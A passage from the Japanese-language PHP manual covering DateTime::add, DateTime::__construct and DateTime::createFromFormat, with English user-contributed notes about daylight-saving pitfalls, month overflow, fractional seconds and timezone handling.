echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20701M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

$expectEaster = date_create_from_format('Y-m-d H:i:s', '2020-04-12 12:00:00', new DateTimeZone('Europe/Berlin'));
$interval = new DateInterval('PT20700M');
$expectEaster->sub($interval);
echo('recalc '.$expectEaster->format('Y-m-d H:i:s')."\n");
$expectEaster->add($interval);
echo('easter '.$expectEaster->format('Y-m-d H:i:s')."\n");

// Result
// recalc 2020-03-29 00:59:00  // reduce the missing hour before you calcuclate the datetime
// easter 2020-04-12 11:00:00  // recalcultate the date and remove the missing hour
// recalc 2020-03-29 03:00:00  //because 2020-03-29 3:00:00 [it means 2020-03-29 2:00:00] does not exist add 60 min)
// easter 2020-04-12 13:00:00
// recalc 2020-03-29 03:59:00 // -(12*60+(11+2)*1440+21*60) = -(20701 min) =  = 29.3.2020 2:59(not exist => no-equivalent add of one hour) =>  29.3.2020 3:59
// easter 2020-04-12 13:00:00 // Recalc add 60 minutes, because the hour does not exist.)
// recalc 2020-03-29 03:00:00 // -(12*60+(11+2)*1440+21*60 min)= -(20700 min) = 29.3.2020 3:00
// easter 2020-04-12 12:00:00 // +(12*60+(11+2)*1440+21*60 min)= +(20700 min) = 29.3.2020
Binho RbSoft 11-Oct-2018 04:56
If you use fraction of seconds, you may have surprises. It only occurs when the sum of the floating point parts results in exactly 1 second (0.5 + 0.5 ou 0.3 + 0.7, for example). See these cases at intervals slightly bigger than 1 second:

<?php
$objDataHora = date_create("2017-12-31T23:59:59.300");
$objIntervalo = new DateInterval("PT0S");
$objIntervalo->f = 0.600;
$objDataHora = date_add($objDataHora, $objIntervalo);
$strDataHora = date_format($objDataHora, "Y-m-d\TH:i:s.v");
?>

$strDataHora is correct: "2017-12-31T23:59:59.900"

<?php
$objDataHora = date_create("2017-12-31T23:59:59.300");
$objIntervalo = new DateInterval("PT0S");
$objIntervalo->f = 0.800;
$objDataHora = date_add($objDataHora, $objIntervalo);
$strDataHora = date_format($objDataHora, "Y-m-d\TH:i:s.v");
?>

$strDataHora is correct: "2018-01-01T00:00:00.100"

But...

<?php
$objDataHora = date_create("2017-12-31T23:59:59.300");
$objIntervalo = new DateInterval("PT0S");
$objIntervalo->f = 0.700;
$objDataHora = date_add($objDataHora, $objIntervalo);
$strDataHora = date_format($objDataHora, "Y-m-d\TH:i:s.v");
?>

$strDataHora has "2017-12-31T23:59:59.1000"

To resolve, add 1 second to the interval and f property must be negative (-1.0 plus original value):

<?php
$objDataHora = date_create("2017-12-31T23:59:59.300");
$objIntervalo = new DateInterval("PT1S");
$objIntervalo->f = -0.300; // = -1.0 + 0.700
$objDataHora = date_add($objDataHora, $objIntervalo);
$strDataHora = date_format($objDataHora, "Y-m-d\TH:i:s.v");
?>

$strDataHora is correct: "2018-01-01T00:00:00.000"
rnealxp at yahoo dot com 19-May-2017 03:43
What you can do with this function/method is a great example of the philosophy: "just because you can do it doesn't mean you should". I'm talking about two issues: (1) the number of days in the month which varies from months 1-12 as well as for month 2 which could be leap year (or not); and then issue (2): what if there is the need to specify a large quantity of an interval such that it needs to be re-characterized into broader-scoped intervals (i.e. 184 seconds ==> 3 minutes-4 seconds). Examples in notes elsewhere in the docs for this function illustrate both issues and their undesired effects so I won't focus on them further. But how did I decide to handle? I've gone with four "public" functions and a single "private" function, and without giving you a bunch of code to study, here are their summaries...

1. function adjustYear(int $yearsAdj){ //you can pass in +/- value and I adjust year value by that value but then I also call PHP's 'cal_days_in_month' function to ensure the day number I have in my date does not exceed days in the month for the new year/month combo--if it does, I adjust the day value downward.

2. function adjustMonth(int $monthsAdj){ //same notes as above apply; but also, I allow any number to be passed in for $monthsAdj. I use the 'int' function (int($monthsAdj/12)) and modulus % operator to determine how to adjust both year and month. And again, I use 'cal_days_in_month' function to tweak the day number as needed.

3. function addTime(int $days, int $hours, int $minutes, int $seconds){
// I use date_add and create a DateInterval object from the corresponding string spec (created from the args passed to this function). Note that months and years are excluded due to the bad side-effects already mentioned elsewhere.

4. function subtractTime(int $days, int $hours, int $minutes, int $seconds){
//notes for "addTime" also apply to this function but note that I like separate add and subtract functions because setting the DateInterval property flag to indicate add/subtract is not as intuitive for future coding.

5. function recharacterizeIntervals(int $days, int $hours, int $minutes, int $seconds){ // I convert excessively large quantities of any one interval into the next largest interval using the 'int' function and modulus (%) operator. I then use the result of this function when creating the string interval specification that gets passed when generating the DateInterval object for calling the date_add function (or object-method equivalent).

**Results/goals...
--any number of days/hours/minutes/seconds can be passed in to add/subtractTime and all of "Y/M/D/H/M/S" values get adjusted as you would expect.
--using adjustYear/Month lets you pass +/- values and only "Y/M" values get modified without having undesirable effects on day values.
--a call to the "recharacterize" function helps ensure proper and desired values are in the intervals prior to calling date_add to let it do its work.
dm at resource-ps dot co dot uk 10-Dec-2015 04:22
Be careful when using this function, I may have happened upon a bug in PHP7.

My code is as follows

//get date from post or else fill with today's date
if (isset($_POST["from"]))
{
$from = date_create($_POST["from"]);
}else{
$from = date_create(date("Y-m-d"));
}

//get date from post if there isn't one just take the same date as what is in the $from variable and add one day to it
if (isset($_POST["to"]))
{
$to = date_create($_POST["to"]);
}else{
    $to = $from;
date_modify($to, '+1 day');
}
echo(date_format($from, 'Y-m-d') . " " . date_format($to, 'Y-m-d'));

The resultant output is
$from = 2015-12-11
$to = 2015-12-11

In actuality the result should be
$from = 2015-12-10
$to = 2015-12-11

For some reason the code above modifies the $from variable in the line date_modify($to, '+1 day'); even though it shouldn't as the $from variable isn't being modified.

to fix this i needed to change the code to

//get date from post or else fill with today's date
if (isset($_POST["from"]))
{
$from = date_create($_POST["from"]);
}else{
$from = date_create(date("Y-m-d"));
}

//get date from post if there isn't one just take the same date as what is in the $from variable and add one day to it
if (isset($_POST["to"]))
{
$to = date_create($_POST["to"]);
}else{
    $to = date_create(date("Y-m-d"));
date_modify($to, '+1 day');
}
echo(date_format($from, 'Y-m-d') . " " . date_format($to, 'Y-m-d'));

This isn't strictly the code I wanted. Possible bug?
Angelo 19-Nov-2015 12:28
Another simple solution to adding a month but not autocorrecting days to the next month is this.
(Also works for substracting months)

$dt = new DateTime("2016-01-31");

$oldDay = $dt->format("d");
$dt->add(new DateInterval("P1M")); // 2016-03-02
$newDay = $dt->format("d");

if($oldDay != $newDay) {
    // Check if the day is changed, if so we skipped to the next month.
    // Substract days to go back to the last day of previous month.
    $dt->sub(new DateInterval("P" . $newDay . "D"));
}

echo $dt->format("Y-m-d"); // 2016-02-29

Hope this helps someone.
Anthony 01-Jul-2015 10:55
If you're using PHP >= 5.5, instead of using "glavic at gmail dot com"'s DateTimeEnhanced class, use the built in DateTimeImmutable type. When you call DateTimeImmutable::add() it will return a new object, rather than modifying the original
patrick dot mckay7 at gmail dot com 25-Nov-2014 04:34
Here is a solution to adding months when you want 2014-10-31 to become 2014-11-30 instead of 2014-12-01.

<?php

/**
 * Class MyDateTime
 *
 * Extends DateTime to include a sensible addMonth method.
 *
 * This class provides a method that will increment the month, and
 * if the day is greater than the last day in the new month, it
 * changes the day to the last day of that month. For example,
 * If you add one month to 2014-10-31 using DateTime::add, the
 * result is 2014-12-01. Using MyDateTime::addMonth the result is
 * 2014-11-30.
 */
class MyDateTime extends DateTime
{

    public function addMonth($num = 1)
    {
        $date = $this->format('Y-n-j');
        list($y, $m, $d) = explode('-', $date);

        $m += $num;
        while ($m > 12)
        {
            $m -= 12;
            $y++;
        }

        $last_day = date('t', strtotime("$y-$m-1"));
        if ($d > $last_day)
        {
            $d = $last_day;
        }

        $this->setDate($y, $m, $d);
    }

}

?>
artaxerxes2 at iname dot com 18-Sep-2013 07:28
Be careful that the internal timer to your DateTime object can be changed drastically when adding even 1 second, during the switch from DST to normal.
Consider the following:
<?php

$ts = 1383458399; /* 2013-11-03 01:59:59 in Eastern Saving Time */
$dst = DateTime::createFromFormat('U',$ts, new DateTimeZone('GMT')); /* timezone is ignored for a unix timestamp, but if we don't put it, php throws warnings */
$dst->setTimeZone(new DateTimeZone('EST5EDT')); /* a timezone effectuating the change */
$second = new DateInterval('PT1S'); /* one second */

echo $ts . "\t" . $dst->format("U\tY-m-d H:i:s T") . "\n";

$dst->add($second);
$ts++;

echo $ts . "\t" . $dst->format("U\tY-m-d H:i:s T") . "\n";

/* results:
1383458399    1383458399    2013-11-03 01:59:59 EDT
1383458400    1383462000    2013-11-03 02:00:00 EST

noticed how the second column went from 1383458399 to 1383462000 even though only 1 second was added?
*/

?>
glavic at gmail dot com 12-Sep-2013 01:06
If you need add() and sub() that don't modify object values, you can create new methods like this:

<?php

class DateTimeEnhanced extends DateTime {

    public function returnAdd(DateInterval $interval)
    {
        $dt = clone $this;
        $dt->add($interval);
        return $dt;
    }

    public function returnSub(DateInterval $interval)
    {
        $dt = clone $this;
        $dt->sub($interval);
        return $dt;
    }

}

$interval = DateInterval::createfromdatestring('+1 day');

$dt = new DateTimeEnhanced; # initialize new object
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-12T15:01:44+02:00

$dt->add($interval); # this modifies the object values
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-13T15:01:44+02:00

$dtNew = $dt->returnAdd($interval); # this returns the new modified object and doesn't change original object
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-13T15:01:44+02:00
echo $dtNew->format(DateTime::W3C) . "\n"; # 2013-09-14T15:01:44+02:00
Anonymous 01-Feb-2011 02:16
Note that the add() and sub() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
fortruth at mabang dot net 23-Aug-2010 11:00
adding 15 min to a datetime

<?php
$initDate = new DateTime("2010/08/24");

$initDate->add(new DateInterval("PT15M"));
echo $initDate->format("Y/m/d m:i:s");//result: 2010/08/24 08:15:00
?>

period:
P1Y2M3DT1H2M3S

period time:
PT1H2M3S


新しい DateTime オブジェクトを返す

  • ≪ DateTime::add
  • DateTime::createFromFormat ≫
  • PHP Manual
  • DateTime
  • 新しい DateTime オブジェクトを返す

DateTime::__construct

date_create

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::__construct -- date_create — 新しい DateTime オブジェクトを返す

説明

オブジェクト指向型

public DateTime::__construct ( string $datetime = "now" , DateTimeZone|null $timezone = null )

手続き型

date_create ( string $datetime = "now" , DateTimeZone|null $timezone = null ) : DateTime|false

新しい DateTime オブジェクトを返します。

パラメータ

datetime

日付/時刻 文字列。有効な書式については 日付と時刻の書式 で説明しています。

ここに "now" を指定して $timezone パラメータを使うと、現在時刻を取得できます。

timezone

$datetime のタイムゾーンを表す DateTimeZone オブジェクト。

$timezone を省略した場合、または null の場合、 現在のタイムゾーンを使います。

注意:

$datetime パラメータが UNIX タイムスタンプ (@946684800 など) であったりタイムゾーンつきで指定した場合 (2010-01-28T15:00:00+02:00 など) は、 $timezone パラメータや現在のタイムゾーンは無視されます。

返り値

新しい DateTime のインスタンスを返します。 手続き型 の場合は、失敗したときに false を返します。

エラー / 例外

エラーがあった場合は Exception を発生させます。

変更履歴

バージョン | 説明
7.1.0 | マイクロ秒が '00000' ではなく、実際の値で埋められるようになりました。

例

例1 DateTime::__construct() の例

オブジェクト指向型

<?php
try {
    $date = new DateTime('2000-01-01');
} catch (Exception $e) {
    echo $e->getMessage();
    exit(1);
}

echo $date->format('Y-m-d');
?>

手続き型

<?php
$date = date_create('2000-01-01');
if (!$date) {
    $e = date_get_last_errors();
    foreach ($e['errors'] as $error) {
        echo "$error\n";
    }
    exit(1);
}

echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2000-01-01

例2 DateTime::__construct() の複雑な例

<?php
// そのコンピュータのタイムゾーンでの日時の指定
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:sP') . "\n";

// 指定したタイムゾーンでの日時の指定
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// そのコンピュータのタイムゾーンでの現在日時
$date = new DateTime();
echo $date->format('Y-m-d H:i:sP') . "\n";

// 指定したタイムゾーンでの現在日時
$date = new DateTime(null, new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// UNIX タイムスタンプの使用例。結果のタイムゾーンは UTC となることに注意しましょう。
$date = new DateTime('@946684800');
echo $date->format('Y-m-d H:i:sP') . "\n";

// 存在しない値は繰り上がります
$date = new DateTime('2000-02-30');
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

2000-01-01 00:00:00-05:00
2000-01-01 00:00:00+12:00
2010-04-24 10:24:16-04:00
2010-04-25 02:24:16+12:00
2000-01-01 00:00:00+00:00
2000-03-01 00:00:00-05:00

参考

  • DateTime::createFromFormat() - 指定した書式で時刻文字列をパースする
  • DateTimeZone::__construct() - 新しい DateTimeZone オブジェクトを作成する
  • 日付と時刻の書式
  • date.timezone ini 設定
  • date_default_timezone_set() - スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する
  • DateTime::getLastErrors() - 警告およびエラーを返す
  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します

User Contributed Notes

4chm3d at gmail dot com 24-May-2019 05:45
About constructing a DateTime, instead of just using the year it seems working when date matches the pattern "YYYY-MM"

- Returns the year correctly: "YYYY-MM"

$ cat date.php
<?php
$date = new DateTime('2015-12');
echo($date->format('Y'));
?>

$ php date.php
2015

- Ignores the given input and returns the year from NOW: "YYYY"

$ cat date.php
<?php
$date = new DateTime('2015');
echo($date->format('Y'));
?>

$ php date.php
2019

RESULTS/SCOPE:
- Linux (May 24, 2019)
- PHP 7.2.17 (cli)
Anonymous 26-Nov-2018 01:59
<?php
$timestampNow = time();
$timestamp = $timestampNow + 13;
$datetime = new \DateTime("@{$timestamp}", new \DateTimeZone('Europe/Berlin'));
echo $datetime->getTimezone()->getName(); // +00:00 !!!!
?>
Does NOT work. You get UTC always.

See comment http://php.net/manual/en/datetime.construct.php#106979

use relative format instead:
<?php
$sec = 13;
$datetime = new \DateTime("now + {$sec} sec", new \DateTimeZone('Europe/Berlin'));
echo $datetime->getTimezone()->getName(); // Europe/Berlin
?>
see http://php.net/manual/en/datetime.formats.relative.php
millband_paul at hotmail dot co dot uk 15-May-2018 02:01
Using this in a try catch to verify a string is in a valid date format is unreliable. Single letter strings used for the first argument (time string) of the constructor allows a new instance of the class to be created, without any exception or error.

So the below code would not fail or throw an exception.  So $time would not be an empty string.

$value = 'y';
try {
      $time = new \DateTimeZone($value);
} catch (\Exception $e) {
       $time = '';
}
lukasz dot chelmicki at gmail dot com 18-Jan-2017 09:09
Since PHP 7.1 behavior of this constructor without arguments have changed.
From now on microseconds are filled with actual value. In versions <=7.0 microseconds ware set to '000000'
thehesiod at hotmail dot com 12-Jul-2016 11:41
I'm surprised this hasn't been mentioned, but when constructing a DateTime with just the year as a string, DateTime will pre-initialize itself with NOW and then replace the year, so if today is 7/12/2016:

 <?php
print((new DateTime('2015'))->modify('+1 day')->format('Y-m-d'));
?>

results in 2016-07-13
Alex vd Bogaerdt 09-Apr-2016 01:02
This seems to work as expected, at least now:

<?php
$timezone1 = new \DateTimeZone('Europe/Sofia');
$timezone2 = new \DateTimeZone('UTC');
$sometime1 = '2014-03-30 02:59:59';
$sometime2 = '2014-03-30 03:00:00';
$date1 = new \DateTime($sometime1, $timezone1);
$date2 = new \DateTime($sometime2, $timezone1);
echo $date1->format('D M j, Y G:i:s T') . '<br>';
echo $date2->format('D M j, Y G:i:s T') . '<br>';
$date1->setTimezone($timezone1);
$date2->setTimezone($timezone1);
echo $date1->format('D M j, Y G:i:s T') . '<br>';
echo $date2->format('D M j, Y G:i:s T') . '<br>';
$date1->setTimezone($timezone2);
$date2->setTimezone($timezone2);
echo $date1->format('D M j, Y G:i:s T') . '<br>';
echo $date2->format('D M j, Y G:i:s T') . '<br>';

This outputs:
Sun Mar 30, 2014 2:59:59 EET
Sun Mar 30, 2014 4:00:00 EEST
Sun Mar 30, 2014 2:59:59 EET
Sun Mar 30, 2014 4:00:00 EEST
Sun Mar 30, 2014 0:59:59 UTC
Sun Mar 30, 2014 1:00:00 UTC
Anonymous 09-Mar-2016 01:37
When passing a non US or SQL date string the date will be formatted incorrectly.

// UK date d/m/Y.
$date_time = "08/03/2016 00:00:00";

$dt = new DateTime($date_time, new DateTimeZone("Europe/London"));

// Gives 2016-08-03
echo $dt->format("Y-m-d");
Rabenschwinge 13-Feb-2015 01:55
Impossible times due to daylight savings are handled by this function in a way similar to impossible dates, with the difference that this is not an error (i.e. a consequent call to DateTime::getLastError() yields nothing).

For example:
In the timezone "Europe/Berlin" on Sunday, March 30 2014 there was no 02:30 am, because that our is being skipped due to daylight savings on that day.

<?php
$tz = new DateTimeZone("Europe/Berlin");
$impossible_time = "2014-03-30T02:30:00";
$date = new DateTime($impossible_time, $tz);
var_dump($date->getLastErrors());
echo "The impossible time '$impossible_time' is interpreted as: " . $date->format(DateTime::ISO8601) . "\n";

/*
Yields:
array(4) {
  'warning_count' =>
  int(0)
  'warnings' =>
  array(0) {
  }
  'error_count' =>
  int(0)
  'errors' =>
  array(0) {
  }
}
The impossible time '2014-03-30T02:30:00' is interpreted as: 2014-03-30T03:30:00+0200
*/
?>

That is similar to how, for example, Febuary 29, 2014 would be handled, which would be interpreted as March 1, 2014. The difference is, that with the date that would be an error, with the time it is not.

Ambigous times due to daylight savings are handled as the second possibility. For example the time 2:30 am occurred twice on October 26, 2014 in the timezone "Europe/Berlin".

<?php
$tz = new DateTimeZone("Europe/Berlin");
$ambiguous_time = "2014-10-26T02:30:00";
$date = new DateTime($ambiguous_time, $tz);
echo "The ambiguous time '$ambiguous_time' is interpreted as: " . $date->format(DateTime::ISO8601) . "\n";

/*
Yields:
The ambiguous time '2014-10-26T02:30:00' is interpreted as: 2014-10-26T02:30:00+0100
*/
?>

Note that "2014-10-26T02:30:00+0200", one hour earlier, would be a correct answer as well.
Wes Hyse 29-Jan-2015 08:58
It is worth noting:

If you have not setup a default timezone, an Exception (or error if PHP < 5.3.0) will be thrown even when the $time parameter of the constructor includes a timezone or is a UNIX timestamp.

At least for me, this was unexpected considering that the $timezone parameter is ignored in the cases when "the $time parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00)."
tzvi at somesite dot com 09-Jan-2015 11:38
If time cannot be parsed an exception of type Exception is thrown which can be caught, however an E_WARNING is emitted as well. This might be confusing if you are converting warnings to exceptions in your error or shutdown handler.

<?php
try {
    $var = new DateTime('some invalid date format');
}
catch (Exception $ex) {}
$warning = error_get_last(); // will contain warning info
?>
rn at alpha9marketing dot com 25-Nov-2014 12:47
Note that the DateTime ctor also accepts boolean false and empty strings, and treats them the same as NULL (i.e. result is current date and time). This may lead to unexpected results if you forward function return values without explicitly checking them first.

Empty arrays and boolean true trigger PHP warnings OTOH.

(checked with PHP 5.5.18)
Dimitar Stoichev 23-Apr-2014 09:25
Be careful working with MySQL dates representing point of transition to Daylight Saving Time.
The constructor of DateTime will convert timezone abbreviation to DST but not the time.

<?php

$timeZone = new DateTimeZone('Europe/Sofia');

$transitionToDst = '2014-03-30 03:00:00';

$date = new DateTime($transitionToDst, $timeZone);

// Outputs: Sun Mar 30, 2014 3:00:00 EEST
// Correct: Sun Mar 30, 2014 4:00:00 EEST
echo $date->format('D M j, Y G:i:s T') . '<br>';

// Explicitly setting timezone or adding one second fixes this
$cloneForAdding = clone $date;

$date->setTimezone($timeZone);

// Outputs: Sun Mar 30, 2014 4:00:00 EEST
echo $date->format('D M j, Y G:i:s T') . '<br>';

$cloneForAdding->add(new DateInterval('PT1S'));

// Outputs: Sun Mar 30, 2014 4:00:01 EEST
echo $cloneForAdding->format('D M j, Y G:i:s T');

?>
RussellG 29-Sep-2013 04:08
Although this function throws an exception on invalid $time values (empty strings, for example), the exception can't be caught because it's a fatal exception. Use functions such as checkdate() and strtotime() to validate the string first. Example #1 should be changed to remove the try/catch block, since it's misleading.
cHao 22-Dec-2011 07:17
There's a reason for ignoring the time zone when you pass a timestamp to __construct.  That is, UNIX timestamps are by definition based on UTC.  @1234567890 represents the same date/time regardless of time zone.  So there's no need for a time zone at all.
joel dot kallman at gmail dot com 23-May-2011 06:14
A definite "gotcha" (while documented) that exists in the __construct is that it ignores your timezone if the $time is a timestamp.  While this may not make sense, the object does provide you with methods to work around it.

<?php
// New Timezone Object
$timezone = new DateTimeZone('America/New_York');

// New DateTime Object
$date =  new DateTime('@1306123200', $timezone);

// You would expect the date to be 2011-05-23 00:00:00
// But it actually outputs 2011-05-23 04:00:00
echo $date->format('Y-m-d H:i:s');

// You can still set the timezone though like so...
$date->setTimezone($timezone);

// This will now output 2011-05-23 00:00:00
echo $date->format('Y-m-d H:i:s');
?>
Tim Strehle 05-May-2010 03:50
"The $timezone parameter and the current timezone are ignored when the $time parameter [...] is a UNIX timestamp."

Watch out - this means that these two are NOT equivalent, they result in different timezones (unless your current timezone is GMT):

<?php
$d = new DateTime(); $d->setTimestamp($t);
echo $o->format('O');
// +0200

$d = new DateTime('@' . $t);
echo $o->format('O');
// +0000
?>
kendsnyder at gmail dot com 12-Jan-2010 08:37
Also forgot to mention, that MySQL "zeroed" dates do not throw an error but produce a non-sensical date:

<?php

$d = new DateTime("0000-00-00");
$d->format("Y-m-d"); // "-0001-11-30"

?>

Another good reason to write your own class that extends from DateTime.
kendsnyder at gmail dot com 12-Jan-2010 08:24
The theoretical limits of the date range seem to be "-9999-01-01" through "9999-12-31" (PHP 5.2.9 on Windows Vista 64):

<?php

$d = new DateTime("9999-12-31");
$d->format("Y-m-d"); // "9999-12-31"

$d = new DateTime("0000-12-31");
$d->format("Y-m-d"); // "0000-12-31"

$d = new DateTime("-9999-12-31");
$d->format("Y-m-d"); // "-9999-12-31"

?>

Dates above 10000 and below -10000 do not throw errors but produce weird results:

<?php

$d = new DateTime("10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("10009-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("-10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

?>


指定した書式で時刻文字列をパースする

  • ≪ DateTime::__construct
  • DateTime::createFromImmutable ≫
  • PHP Manual
  • DateTime
  • 指定した書式で時刻文字列をパースする

DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::createFromFormat -- date_create_from_format — 指定した書式で時刻文字列をパースする

説明

オブジェクト指向型

public static DateTime::createFromFormat ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTime|false

手続き型

date_create_from_format ( string $format , string $datetime , DateTimeZone|null $timezone = null ) : DateTime|false

新しい DateTime オブジェクトを返します。 このオブジェクトは、datetime で指定した文字列を format で指定した書式に沿って解釈した時刻を表します。

パラメータ

format

書式を文字列で渡します。以下の書式オプションを参照ください。 大半は、date() で使える文字と同じです。

format パラメータに渡せる文字
format 文字 | 説明 | 取りうる値の例
日 --- ---
d および j | 2桁の日付。先頭のゼロを含むものと含まないもの | 01 から 31 あるいは 1 から 31
D および l | 曜日を表す文字列 | Mon から Sun あるいは Sunday から Saturday
S | 日付の後につける英語の接尾辞。二文字。処理中には無視されます。 | st、nd、rd あるいは th
z | 年始からの通算日数 (最初は 0) | 0 から 365
月 --- ---
F および M | 月を表す文字列。January あるいは Sept など | January から December あるいは Jan から Dec
m および n | 月を表す数値。先頭のゼロを含むものと含まないもの | 01 から 12 あるいは 1 から 12
年 --- ---
Y | 4 桁の数値で表した年 | 例: 1999 あるいは 2003
y | 2 桁の数値で表した年 (1970年から2069年の間だとみなされます) | 例: 99 あるいは 03 (それぞれ、 1999 および 2003 と見なされます)
時刻 --- ---
a および A | 午前および午後 | am あるいは pm
g および h | 12 時間制での時間。先頭のゼロを含むものと含まないもの | 1 から 12 あるいは 01 から 12
G and H | 24 時間制での時間。先頭のゼロを含むものと含まないもの | 0 から 23 あるいは 00 から 23
i | 分。先頭のゼロを含む | 00 から 59
s | 秒。先頭のゼロを含む | 00 から 59
v | ミリ秒。(最大 3桁) | 例: 12, 345
u | マイクロ秒 (最大 6 桁) | 例: 45, 654321
タイムゾーン --- ---
e、O、 P および T | タイムゾーン識別子、UTC からの時差 (時間単位)、 UTC からの時差 (コロン区切りでの時間と分)、そしてタイムゾーンの短縮形 | 例: UTC、GMT、 Atlantic/Azores、 +0200、+02:00、 EST、MDT
完全な日付/時刻 --- ---
U | Unix エポック (January 1 1970 00:00:00 GMT) からの経過秒数 | 例: 1292177455
空白および区切り --- ---
(空白) | 空白 1 文字あるいはタブ 1 文字 | 例:
# 次の区切り文字のいずれか: ;, :, /, ., ,, -, (, ) 例: /
;, :, /, ., ,, -, (, ) 指定した文字 例: -
? ランダムなバイト 例: ^ (UTF-8 文字の場合は複数の ? が必要になるでしょう。この場合、おそらく * を使うと要望が満たせるはずです)
* 次の区切り文字あるいは数字までのランダムなバイト列 例: Y-*-d の中の * は、文字列 2009-aWord-08 の中の aWord にマッチします
! すべてのフィールド (年、月、日、時、分、秒、マイクロ秒およびタイムゾーン情報) を Unix エポックにリセットする ! がなければ、すべてのフィールドは現在の日時に設定されます。
| まだパースされていないすべてのフィールド (年、月、日、時、分、秒、マイクロ秒およびタイムゾーン情報) を Unix エポックにリセットする Y-m-d| は、文字列をパースした結果から年月日を設定し 時分秒には 0 を設定します。
+ この文字があると、文字列のそれ以降のデータではエラーが発生せず、 かわりに警告を発生させる それ以降のデータが存在したかどうかを調べるには DateTime::getLastErrors() を使います。

書式文字列の中に解釈不能な文字が含まれていると処理は失敗し、 返り値にはエラーメッセージが付加されます。エラーメッセージを調べるには DateTime::getLastErrors() を使います。

format にリテラル文字を含めるには、 バックスラッシュ (\) でエスケープする必要があります。

format に文字 ! が含まれない場合は、作成した時刻値のうち format で指定されていない部分を 現在のシステム時刻で初期化します。

format に文字 ! が含まれる場合は、作成した時刻値のうち format で指定されていない部分と ! の左側の部分を Unix エポックの対応する箇所の値で初期化します。

Unix エポックは 1970-01-01 00:00:00 です。

datetime

時刻を表す文字列。

timezone

指定したいタイムゾーンを表す DateTimeZone オブジェクト。

timezone を省略されるか、または null の場合、 かつ datetime にタイムゾーンが含まれない場合は、 現在のタイムゾーンを使います。

注意:

datetime パラメータが UNIX タイムスタンプ (例: 946684800) だったり、タイムゾーンを含んでいたり (例: 2010-01-28T15:00:00+02:00) する場合は、 timezone パラメータや現在のタイムゾーンは無視します。

返り値

新しい DateTime のインスタンス、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | 書式文字列 v が追加されました。

例

例1 DateTime::createFromFormat() の例

オブジェクト指向型

<?php
$date = DateTime::createFromFormat('j-M-Y', '15-Feb-2009');
echo $date->format('Y-m-d');
?>

手続き型

<?php
$date = date_create_from_format('j-M-Y', '15-Feb-2009');
echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2009-02-15

例2 DateTime::createFromFormat() の複雑な例

<?php
echo 'Current time: ' . date('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d';
$date = DateTime::createFromFormat($format, '2009-02-15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-!d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = '!d';
$date = DateTime::createFromFormat($format, '15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

Current time: 2010-04-23 10:29:35
Format: Y-m-d; 2009-02-15 10:29:35
Format: Y-m-d H:i:s; 2009-02-15 15:16:17
Format: Y-m-!d H:i:s; 1970-01-15 15:16:17
Format: !d; 1970-01-15 00:00:00

例3 リテラル文字を含む書式文字列

<?php
echo DateTime::createFromFormat('H\h i\m s\s','23h 15m 03s')->format('H:i:s');
?>

上の例の出力は、 たとえば以下のようになります。

23:15:03

参考

  • DateTime::__construct() - 新しい DateTime オブジェクトを返す
  • DateTime::getLastErrors() - 警告およびエラーを返す
  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します
  • strptime() - strftime が生成した日付/時刻をパースする

User Contributed Notes

mcab at acm dot org 11-May-2020 03:15
When using format "z Y" the function may return an incorrect date (as of 7.2.30).
I understand that this bug is being worked on but a simple solution that works now is to supply the year value first. i.e. always specify format "Y z".
parmonov98 at yandex dot ru 10-Mar-2020 11:16
sometimes we want unixtime rather than string date .
to get it from a string date,  do this.
$format = 'Y-m-d';
$date = DateTime::createFromFormat($format, '2009-02-15');
$date->format("U"); // will print unixtime.

I thought this would be helpful.
e dot fortmeyer01 at gmail dot com 01-Sep-2019 09:46
Be aware:
If the day of the month is not provided, creating a DateTime object will produce different results depending on what the current day of the year is.
This is because the current system date will be used where values are not provided.

<?php
function printMonth($month) {
    echo DateTime::createFromFormat("F", "April")->format("F");
}

// on August 1st
printMonth("April");
// outputs April

// on August 31st
printMonth("April");
// outputs May
?>
call4hemant at gmail dot com 05-Sep-2018 09:02
<?php

